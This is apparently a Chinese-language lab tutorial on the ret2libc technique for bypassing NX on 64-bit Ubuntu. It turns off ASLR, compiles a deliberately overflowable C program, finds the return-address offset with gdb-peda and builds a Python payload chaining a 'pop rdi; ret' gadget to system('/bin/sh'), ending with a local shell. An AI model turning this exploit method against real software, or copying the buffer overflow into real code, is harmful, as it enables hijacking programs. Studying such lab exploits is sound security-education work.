ret2libc

this is a test not true

0x00准备

  • 本次实验的机器为Ubuntu 16.04.2 LTS64位系统

  • 需要关闭ASLR,echo 0 > /proc/sys/kernel/randomize_va_space,如果提示权限不够,可能需要用su提升权限

  • gcc编译需要关闭stack-protector,打开NX

  • 需要gdb peda python2 ROPgadget or Ropper

  • 攻击目标test.cgcc -g -fno-stack-protector -o test test.c

    1
    2
    3
    4
    5
    6
    7
    8
    #include<stdio.h>
    #include<unistd.h>
    int main(){
    char buf[10];
    read(0,buf,80);
    puts("23333\n");
    return 0;
    }

0x01分析

测试程序很明显存在一个溢出的漏洞,但不能够写入一段shellcode,然后运行,因为此时栈上的数据是不可执行的,也就是打开了NX,可以通过checksec来查看程序的保护情况

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

幸运的是可以使用ret2libc加上一点ROP,劫持程序执行流,让它运行system()

0x02确定返回地址的偏移量

1
2
3
4
5
6
7
8
gdb-peda$ pattern_create 100 test.txt
Writing pattern of 100 chars to filename "test.txt"
gdb-peda$ r < test.txt
...
gdb-peda$ x/wx $rsp
0x7fffffffdd08: 0x44414128
gdb-peda$ pattern_offset 0x44414128
1145127208 found at offset: 24

获得返回地址的偏移量24

0x03确定相关地址

1
2
3
4
5
6
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a52390 <__libc_system>
gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')

因为关掉了ASLR所以动态链接库的地址不会变化,可以直接使用system函数的地址0x7ffff7a52390,字符串/bin/sh的地址0x7ffff7b99d17

0x04构造ROP链

还有一个需要解决的问题,怎样把/bin/sh传到system函数中去,在linux64的系统上,一般使用寄存器传递参数,按照rdi,rsi,rdx,rcx,r8,r9的顺序传递,如果参数过多,再用栈传递参数

所以需要一个简短的ROP链pop rdi;ret,可以使用工具Ropper ROPgadget或者直接objdump

1
2
$ ROPgadget --binary test|grep pop|grep rdi
0x0000000000400603 : pop rdi ; ret

0x05编写payload

1
2
3
4
5
6
7
8
from struct import *
buf = 'a'*24
buf += pack('<Q', 0x400603)
buf += pack('<Q', 0x7ffff7b99d17)
buf += pack('<Q', 0x7ffff7a52390)
f = open('test.txt', 'w')
f.write(buf)
f.close()

整个流程大概是这样的:

返回地址被pop rdi的地址覆盖,所以程序流被控制了,执行pop rdi;ret,把栈顶弹出到rdi中,栈顶现在是/bin/sh的地址,然后它的地址自然被传递到了rdi寄存器中,接着执行ret,栈顶被弹入到rip,也就是system()的地址被存入了rip,现在调用system()函数,参数存在rdi

0x06测试

1
2
3
4
5
$ (cat test.txt;cat)|./test
23333

whoami
void0red

可以看到get到了shell

0x07总结

通过ret2libc可以绕过NX